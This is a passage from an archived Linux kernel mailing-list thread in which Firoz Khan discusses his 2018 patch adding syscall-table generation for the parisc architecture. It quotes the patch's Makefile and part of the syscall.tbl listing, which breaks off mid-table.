 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=6+qq8jh6HvIleMYuIkP+oiavuoCqeRrRHTb+pmsSF5c=;
 b=PMfBpXz5JVjG2VQNzXqWsZYl93dFT2snkhFHUTFjR+5EHDXrLkwyoK/1KX8DjG3Ov3
 Fg38hkD8RyLPCWDmNklc7IGTyRrbJheJWSqbcM4Cic5KlzFHXQ6RKNcyEYyz8Jc9uemv
 viDmR8P/6QHfd3qI+rWwhfWObdhz+yJ4DASGJ8T7/sMfbHyd9bs5ubWUK4c/ahcQvLOf
 xdGvbpXe/ugXIty9mCmvt8yMOPUXn75ElhGrfzn6yqlacIO8XGVK5PFUB3sDipVLy6sa
 eIxHzHrhp2eBisqnmoS4qQV0wCVJqs+QMRh2cChw47hCuJ2cxvE+IQm3HyKQ3Xkfx1d5
 Bvyw==
X-Gm-Message-State: ABuFfohzR96ENO5oopau8SiAVf/80yed5xmDvZfWFcYE9xPYaLTEZUqc
 A4RglHqC9wIhJRAlH0Sm2RSA4kYKuDJrPxLZWdJerr0r
X-Google-Smtp-Source: ACcGV626c13IVIVQFiApY+O4msn6DrIl1B4My/agaCKbjM4zPQPcw3nruZ57mozYF8v+4UbCcnwqGJwhR+KyY1o0NI0=
X-Received: by 2002:a81:5f86:: with SMTP id
 t128-v6mr2987521ywb.84.1539339401379; 
 Fri, 12 Oct 2018 03:16:41 -0700 (PDT)
In-Reply-To: <CAK8P3a1gsuM7mBGm9hx-BTs=HAG3cSjB6M7N-kpMmPy3kixeCQ@mail.gmail.com>
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:3512 gmane.linux.kernel.cross-arch:47728 gmane.linux.ports.parisc:29136 gmane.linux.kernel:2897430
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/3512>

SGkgQXJuZCwKCk9uIEZyaSwgMTIgT2N0IDIwMTggYXQgMTU6MjYsIEFybmQgQmVyZ21hbm4gPGFy
bmRAYXJuZGIuZGU+IHdyb3RlOgo+Cj4gT24gRnJpLCBPY3QgMTIsIDIwMTggYXQgMTE6NDUgQU0g
Rmlyb3ogS2hhbiA8Zmlyb3oua2hhbkBsaW5hcm8ub3JnPiB3cm90ZToKPiA+Cj4gPiBXaXJlIHVw
IHJzZXEgc3lzdGVtIGNhbGwgcmVxdWlyZXMgYW4gYXJjaGl0ZWN0dXJlIHNwZWNpZmljCj4gPiBp
bXBsZW1lbnRhdGlvbiBhcyBpdCBub3QgcHJlc2VudCBub3cuCj4gPgo+ID4gU2lnbmVkLW9mZi1i
eTogRmlyb3ogS2hhbiA8Zmlyb3oua2hhbkBsaW5hcm8ub3JnPgo+Cj4gRGlkbid0IHdlIGNvbmNs
dWRlIHRoYXQgdGhpcyBzaG91bGQgYmUgc2tpcHBlZD8KCkhlbGdlIHRvbGQgIkkgcHJlZmVyIHRv
IGtlZXAgdGhlIHdhcm5pbmcgZm9yIHJzZXEgZm9yIG5vdy4KSXQgcmVtaW5kcyBtZSB0aGF0IHdl
IHN0aWxsIG1heSB3YW50IHRoZSByc2VxIHN5c2NhbGwuCklmIHRoZSB3YXJuaW5nIGlzIGEgcHJv
YmxlbSwgeW91IG1heSBzaW1wbHkgYWRkIHRoZSBfX0lHTk9SRV9yc2VxIGRlZmluZS4iCgpJIGNo
b3NlIHRoaXMgb3B0aW9uOyBJIGZlZWwgaXQgbG9va3MgY2xlYW4KIiMgcnNlcSByZXF1aXJlcyBh
biBhcmNoaXRlY3R1cmUgc3BlY2lmaWMgaW1wbGVtZW50YXRpb24iIGluIHN5c2NhbGwudGJsCmhv
cGVmdWxseSByZW1pbmQgaGltIHRvIGFkZCByc2VxIHN5c2NhbGwgaW1wbGVtZW50YXRpb24gaW4g
dGhpcyBhcmNoaXRlY3R1cmUuCgpGaXJvegoKPgo+ICAgICAgICBBcm5kCl9fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClkyMDM4IG1haWxpbmcgbGlzdApZMjAz
OEBsaXN0cy5saW5hcm8ub3JnCmh0dHBzOi8vbGlzdHMubGluYXJvLm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL3kyMDM4Cg==


From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 15:48:04 +0530
Lines: 591
Approved: news@gmane.org
Message-ID: <CALxhOnjB8_-qtvPCY9fNjN1V5tSXq8ObivfhyOLAJ0849Bnvtw@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org> <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539339380 1478 195.159.176.226 (12 Oct 2018 10:16:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 10:16:20 +0000 (UTC)
Cc: y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 12:16:15 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAuUL-0000CF-DW
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 12:16:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728435AbeJLRt7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 13:49:59 -0400
Original-Received: from mail-yw1-f67.google.com ([209.85.161.67]:34271 "EHLO
        mail-yw1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728284AbeJLRt6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 13:49:58 -0400
Original-Received: by mail-yw1-f67.google.com with SMTP id m129-v6so4764283ywc.1
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 03:18:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=uenBfcaqhK1Yu5V1+3pkPbgMHuLcFUsVO+/w9CoJm+c=;
        b=hAQYkG7qMSkfnvKGU2NKgeZVPiCs9K9XDv5pO1AaR+ZbND/2WyxYoPFvQCu6TQ9Xp+
         BDNA2+TqAE7bv0LLaCNqhjx+9GmRe1RdH1x4dB6OwLuGZz6WcCbv+qRH3OklKd6138+B
         c7YTKo8nTu8EzIVYzyLVqiFLyqXsS2l7h5bsU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=uenBfcaqhK1Yu5V1+3pkPbgMHuLcFUsVO+/w9CoJm+c=;
        b=o4Yw3ySp/znblUawB/1AIUNb4IMzHuuqTKkB6FRlInTFDgAUX/os+5e9lJ1DBB1fIA
         dByHrZP4e0LwUO6sjS8LZbIKsZ5LYPrA1t877+WaQI7MwzuVXaCNfmslV6TBNhm0/hNc
         z1VdmltHyTp0+DLZv4MuqR5JLNrSIjKz9ADIWhPaE+Klh5SHnECyopGwVYqJGX8GTsBH
         xuza9zzpyecB73NGxhBKSNqpzJFoBJgxb0hxracvO4jdzeo8u4pDq3vx0S9bjJ+BvQdd
         OxwQtR2m2rvyFMgGB5Xc7fPZ797/hPCELsrDL07TVLTNAlG60CRvxXvdCc/9obnOIYgg
         ozqg==
X-Gm-Message-State: ABuFfoiX+lhTD78CoAaeMmJC02Ubut0SlkghM3YzgnvyXzBq0oUKeQo2
        wrIBF9MfknCtTZnUkKpoNIajp5AfhX7sThUemLTqng==
X-Google-Smtp-Source: ACcGV62vLWncw3SQsrMti6p5lOVhvf+ENOK4Hh6n13ZjPNVM4hL7md+t+k8b2rgM3eVvVaPHfh7HKl+k/eldB2anP9k=
X-Received: by 2002:a81:3bc4:: with SMTP id i187-v6mr2764861ywa.82.1539339495812;
 Fri, 12 Oct 2018 03:18:15 -0700 (PDT)
In-Reply-To: <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897431 gmane.linux.ports.parisc:29137 gmane.linux.kernel.year-2038:3513 gmane.linux.kernel.cross-arch:47729
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897431>

Hi Arnd, Helge, everyone,

On Fri, 12 Oct 2018 at 15:14, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> The system call tables are in different format in all
> architecture and it will be difficult to manually add or
> modify the system calls in the respective files. To make
> it easy by keeping a script and which'll generate the
> header file and syscall table file so this change will
> unify them across all architectures.
>
> The system call table generation script is added in
> syscalls directory which contain the script to generate
> both uapi header file system call table generation file
> and syscall.tbl file which'll be the input for the
> scripts.
>
> syscall.tbl contains the list of available system calls
> along with system call number and corresponding entry point.
> Add a new system call in this architecture will be possible
> by adding new entry in the syscall.tbl file.
>
> Adding a new table entry consisting of:
>         - System call number.
>         - ABI.
>         - System call name.
>         - Entry point name.
>         - Compat entry name, if required.
>
> syscallhdr.sh and syscalltbl.sh will generate uapi header-
> unistd_32/64.h and syscall_table_32/64/c32.h files respect-
> ively. File syscall_table_32/64/c32.h is included by sys-
> call.S - the real system call table. Both .sh files will
> parse the content syscall.tbl to generate the header and
> table files.
>
> ARM, s390 and x86 architecuture does have the similar support.
> I leverage their implementation to come up with a generic
> solution.
>
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/kernel/syscalls/Makefile      |  55 +++++
>  arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscallhdr.sh |  35 +++
>  arch/parisc/kernel/syscalls/syscalltbl.sh |  46 ++++
>  4 files changed, 505 insertions(+)
>  create mode 100644 arch/parisc/kernel/syscalls/Makefile
>  create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
>  create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh
>
> diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
> new file mode 100644
> index 0000000..a0af5a3
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/Makefile
> @@ -0,0 +1,55 @@
> +# SPDX-License-Identifier: GPL-2.0
> +kapi := arch/$(SRCARCH)/include/generated/asm
> +uapi := arch/$(SRCARCH)/include/generated/uapi/asm
> +
> +_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
> +         $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
> +
> +syscall := $(srctree)/$(src)/syscall.tbl
> +syshdr := $(srctree)/$(src)/syscallhdr.sh
> +systbl := $(srctree)/$(src)/syscalltbl.sh
> +
> +quiet_cmd_syshdr = SYSHDR  $@
> +      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
> +                  '$(syshdr_abi_$(basetarget))'          \
> +                  '$(syshdr_pfx_$(basetarget))'          \
> +                  '$(syshdr_offset_$(basetarget))'
> +
> +quiet_cmd_systbl = SYSTBL  $@
> +      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
> +                   '$(systbl_abi_$(basetarget))'          \
> +                  '$(systbl_offset_$(basetarget))'
> +
> +syshdr_abi_unistd_32 := common,32
> +syshdr_offset_unistd_32 := __NR_Linux
> +$(uapi)/unistd_32.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +syshdr_abi_unistd_64 := common,64
> +syshdr_offset_unistd_64 := __NR_Linux
> +$(uapi)/unistd_64.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +systbl_abi_syscall_table_32 := common,32
> +$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_64 := common,64
> +$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_c32 := common,compat,32
> +$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +uapisyshdr-y                   += unistd_32.h unistd_64.h
> +kapisyshdr-y                   += syscall_table_32.h     \
> +                                   syscall_table_64.h     \
> +                                   syscall_table_c32.h
> +
> +targets        += $(uapisyshdr-y) $(kapisyshdr-y)
> +
> +PHONY += all
> +all: $(addprefix $(uapi)/,$(uapisyshdr-y))
> +all: $(addprefix $(kapi)/,$(kapisyshdr-y))
> +       @:
> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> new file mode 100644
> index 0000000..7c9f268
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> @@ -0,0 +1,369 @@
> +# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
> +#
> +# system call numbers and entry vectors for parisc
> +#
> +# The format is:
> +# <number> <abi> <name> <entry point> <compat entry point>
> +#
> +# The <abi> can be common, 64, or 32 for this file.
> +#
> +0       common  restart_syscall                 sys_restart_syscall
> +1       common  exit                            sys_exit
> +2       common  fork                            sys_fork_wrapper
> +3       common  read                            sys_read
> +4       common  write                           sys_write
> +5       common  open                            sys_open                        compat_sys_open
> +6       common  close                           sys_close
> +7       common  waitpid                         sys_waitpid
> +8       common  creat                           sys_creat
> +9       common  link                            sys_link
> +10      common  unlink                          sys_unlink
> +11      common  execve                          sys_execve                      compat_sys_execve
> +12      common  chdir                           sys_chdir
> +13      common  time                            sys_time                        compat_sys_time
> +14      common  mknod                           sys_mknod
> +15      common  chmod                           sys_chmod
> +16      common  lchown                          sys_lchown
> +17      common  socket                          sys_socket
> +18      common  stat                            sys_newstat                     compat_sys_newstat
> +19      common  lseek                           sys_lseek                       compat_sys_lseek
> +20      common  getpid                          sys_getpid
> +21      common  mount                           sys_mount                       compat_sys_mount
> +22      common  bind                            sys_bind
> +23      common  setuid                          sys_setuid
> +24      common  getuid                          sys_getuid
> +25      common  stime                           sys_stime                       compat_sys_stime
> +26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
> +27      common  alarm                           sys_alarm
> +28      common  fstat                           sys_newfstat                    compat_sys_newfstat
> +29      common  pause                           sys_pause
> +30      common  utime                           sys_utime                       compat_sys_utime
> +31      common  connect                         sys_connect
> +32      common  listen                          sys_listen
> +33      common  access                          sys_access
> +34      common  nice                            sys_nice
> +35      common  accept                          sys_accept
> +36      common  sync                            sys_sync
> +37      common  kill                            sys_kill
> +38      common  rename                          sys_rename
> +39      common  mkdir                           sys_mkdir
> +40      common  rmdir                           sys_rmdir
> +41      common  dup                             sys_dup
> +42      common  pipe                            sys_pipe
> +43      common  times                           sys_times                       compat_sys_times
> +44      common  getsockname                     sys_getsockname
> +45      common  brk                             sys_brk
> +46      common  setgid                          sys_setgid
> +47      common  getgid                          sys_getgid
> +48      common  signal                          sys_signal
> +49      common  geteuid                         sys_geteuid
> +50      common  getegid                         sys_getegid
> +51      common  acct                            sys_acct
> +52      common  umount2                         sys_umount
> +53      common  getpeername                     sys_getpeername
> +54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
> +55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
> +56      common  socketpair                      sys_socketpair
> +57      common  setpgid                         sys_setpgid
> +58      common  send                            sys_send
> +59      common  uname                           sys_newuname
> +60      common  umask                           sys_umask
> +61      common  chroot                          sys_chroot
> +62      common  ustat                           sys_ustat                       compat_sys_ustat
> +63      common  dup2                            sys_dup2
> +64      common  getppid                         sys_getppid
> +65      common  getpgrp                         sys_getpgrp
> +66      common  setsid                          sys_setsid
> +67      common  pivot_root                      sys_pivot_root
> +68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
> +69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
> +70      common  setreuid                        sys_setreuid
> +71      common  setregid                        sys_setregid
> +72      common  mincore                         sys_mincore
> +73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
> +74      common  sethostname                     sys_sethostname
> +75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
> +76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
> +77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
> +78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
> +79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
> +80      common  getgroups                       sys_getgroups
> +81      common  setgroups                       sys_setgroups
> +82      common  sendto                          sys_sendto
> +83      common  symlink                         sys_symlink
> +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> +85      common  readlink                        sys_readlink
> +86      common  uselib                          sys_ni_syscall
> +87      common  swapon                          sys_swapon
> +88      common  reboot                          sys_reboot
> +89      common  mmap2                           sys_mmap2
> +90      common  mmap                            sys_mmap
> +91      common  munmap                          sys_munmap
> +92      common  truncate                        sys_truncate                    compat_sys_truncate
> +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> +94      common  fchmod                          sys_fchmod
> +95      common  fchown                          sys_fchown
> +96      common  getpriority                     sys_getpriority
> +97      common  setpriority                     sys_setpriority
> +98      common  recv                            sys_recv
> +99      common  statfs                          sys_statfs                      compat_sys_statfs
> +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> +101     common  stat64                          sys_stat64
> +# 102 was socketcall
> +103     common  syslog                          sys_syslog
> +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> +106     common  capget                          sys_capget
> +107     common  capset                          sys_capset
> +108     32      pread64                         parisc_pread64
> +108     64      pread64                         sys_pread64
> +109     32      pwrite64                        parisc_pwrite64
> +109     64      pwrite64                        sys_pwrite64
> +110     common  getcwd                          sys_getcwd
> +111     common  vhangup                         sys_vhangup
> +112     common  fstat64                         sys_fstat64
> +113     common  vfork                           sys_vfork_wrapper
> +114     common  wait4                           sys_wait4                       compat_sys_wait4
> +115     common  swapoff                         sys_swapoff
> +116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
> +117     common  shutdown                        sys_shutdown
> +118     common  fsync                           sys_fsync
> +119     common  madvise                         sys_madvise
> +120     common  clone                           sys_clone_wrapper
> +121     common  setdomainname                   sys_setdomainname
> +122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
> +123     common  recvfrom                        sys_recvfrom
> +124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
> +125     common  mprotect                        sys_mprotect
> +126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
> +# 127 was create_module
> +128     common  init_module                     sys_init_module
> +129     common  delete_module                   sys_delete_module
> +# 130 was get_kernel_syms
> +131     common  quotactl                        sys_quotactl
> +132     common  getpgid                         sys_getpgid
> +133     common  fchdir                          sys_fchdir
> +134     common  bdflush                         sys_bdflush
> +135     common  sysfs                           sys_sysfs
> +136     32      personality                     parisc_personality
> +136     64      personality                     sys_personality
> +# 137 was afs_syscall
> +138     common  setfsuid                        sys_setfsuid
> +139     common  setfsgid                        sys_setfsgid
> +140     common  _llseek                         sys_llseek
> +141     common  getdents                        sys_getdents                    compat_sys_getdents
> +142     common  _newselect                      sys_select                      compat_sys_select
> +143     common  flock                           sys_flock
> +144     common  msync                           sys_msync
> +145     common  readv                           sys_readv                       compat_sys_readv
> +146     common  writev                          sys_writev                      compat_sys_writev
> +147     common  getsid                          sys_getsid
> +148     common  fdatasync                       sys_fdatasync
> +149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
> +150     common  mlock                           sys_mlock
> +151     common  munlock                         sys_munlock
> +152     common  mlockall                        sys_mlockall
> +153     common  munlockall                      sys_munlockall
> +154     common  sched_setparam                  sys_sched_setparam
> +155     common  sched_getparam                  sys_sched_getparam
> +156     common  sched_setscheduler              sys_sched_setscheduler
> +157     common  sched_getscheduler              sys_sched_getscheduler
> +158     common  sched_yield                     sys_sched_yield
> +159     common  sched_get_priority_max          sys_sched_get_priority_max
> +160     common  sched_get_priority_min          sys_sched_get_priority_min
> +161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
> +162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
> +163     common  mremap                          sys_mremap
> +164     common  setresuid                       sys_setresuid
> +165     common  getresuid                       sys_getresuid
> +166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
> +# 167 was query_module
> +168     common  poll                            sys_poll
> +# 169 was nfsservctl
> +170     common  setresgid                       sys_setresgid
> +171     common  getresgid                       sys_getresgid
> +172     common  prctl                           sys_prctl
> +173     common  rt_sigreturn                    sys_rt_sigreturn_wrapper
> +174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
> +175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
> +176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
> +177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
> +178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
> +179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
> +180     common  chown                           sys_chown
> +181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
> +182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
> +183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
> +184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
> +185     common  semop                           sys_semop
> +186     common  semget                          sys_semget
> +187     common  semctl                          sys_semctl                      compat_sys_semctl
> +188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
> +189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
> +190     common  msgget                          sys_msgget
> +191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
> +192     common  shmat                           sys_shmat                       compat_sys_shmat
> +193     common  shmdt                           sys_shmdt
> +194     common  shmget                          sys_shmget
> +195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
> +# 196 was getpmsg
> +# 197 was putpmsg
> +198     common  lstat64                         sys_lstat64
> +199     32      truncate64                      parisc_truncate64
> +199     64      truncate64                      sys_truncate64
> +200     32      ftruncate64                     parisc_ftruncate64
> +200     64      ftruncate64                     sys_ftruncate64
> +201     common  getdents64                      sys_getdents64
> +202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
> +# 203 was attrctl
> +# 204 was acl_get
> +# 205 was acl_set
> +206     common  gettid                          sys_gettid
> +207     32      readahead                       parisc_readahead
> +207     64      readahead                       sys_readahead
> +208     common  tkill                           sys_tkill
> +209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
> +210     common  futex                           sys_futex                       compat_sys_futex
> +211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
> +212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
> +# 213 was set_thread_area
> +# 214 was get_thread_area
> +215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
> +216     common  io_destroy                      sys_io_destroy
> +217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
> +218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
> +219     common  io_cancel                       sys_io_cancel
> +# 220 was alloc_hugepages
> +# 221 was free_hugepages
> +222     common  exit_group                      sys_exit_group
> +223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
> +224     common  epoll_create                    sys_epoll_create
> +225     common  epoll_ctl                       sys_epoll_ctl
> +226     common  epoll_wait                      sys_epoll_wait
> +227     common  remap_file_pages                sys_remap_file_pages
> +228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
> +229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
> +230     common  mq_unlink                       sys_mq_unlink
> +231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
> +232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
> +233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
> +234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
> +235     common  waitid                          sys_waitid                      compat_sys_waitid
> +236     32      fadvise64_64                    parisc_fadvise64_64
> +236     64      fadvise64_64                    sys_fadvise64_64
> +237     common  set_tid_address                 sys_set_tid_address
> +238     common  setxattr                        sys_setxattr
> +239     common  lsetxattr                       sys_lsetxattr
> +240     common  fsetxattr                       sys_fsetxattr
> +241     common  getxattr                        sys_getxattr
> +242     common  lgetxattr                       sys_lgetxattr
> +243     common  fgetxattr                       sys_fgetxattr
> +244     common  listxattr                       sys_listxattr
> +245     common  llistxattr                      sys_llistxattr
> +246     common  flistxattr                      sys_flistxattr
> +247     common  removexattr                     sys_removexattr
> +248     common  lremovexattr                    sys_lremovexattr
> +249     common  fremovexattr                    sys_fremovexattr
> +250     common  timer_create                    sys_timer_create                compat_sys_timer_create
> +251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
> +252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
> +253     common  timer_getoverrun                sys_timer_getoverrun
> +254     common  timer_delete                    sys_timer_delete
> +255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
> +256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
> +257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
> +258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
> +259     common  tgkill                          sys_tgkill
> +260     common  mbind                           sys_mbind                       compat_sys_mbind
> +261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
> +262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
> +# 263 was vserver
> +264     common  add_key                         sys_add_key
> +265     common  request_key                     sys_request_key
> +266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
> +267     common  ioprio_set                      sys_ioprio_set
> +268     common  ioprio_get                      sys_ioprio_get
> +269     common  inotify_init                    sys_inotify_init
> +270     common  inotify_add_watch               sys_inotify_add_watch
> +271     common  inotify_rm_watch                sys_inotify_rm_watch
> +272     common  migrate_pages                   sys_migrate_pages
> +273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
> +274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
> +275     common  openat                          sys_openat                      compat_sys_openat
> +276     common  mkdirat                         sys_mkdirat
> +277     common  mknodat                         sys_mknodat
> +278     common  fchownat                        sys_fchownat
> +279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
> +280     common  fstatat64                       sys_fstatat64
> +281     common  unlinkat                        sys_unlinkat
> +282     common  renameat                        sys_renameat
> +283     common  linkat                          sys_linkat
> +284     common  symlinkat                       sys_symlinkat
> +285     common  readlinkat                      sys_readlinkat
> +286     common  fchmodat                        sys_fchmodat
> +287     common  faccessat                       sys_faccessat
> +288     common  unshare                         sys_unshare
> +289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
> +290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
> +291     common  splice                          sys_splice
> +292     32      sync_file_range                 parisc_sync_file_range
> +292     64      sync_file_range                 sys_sync_file_range
> +293     common  tee                             sys_tee
> +294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
> +295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
> +296     common  getcpu                          sys_getcpu
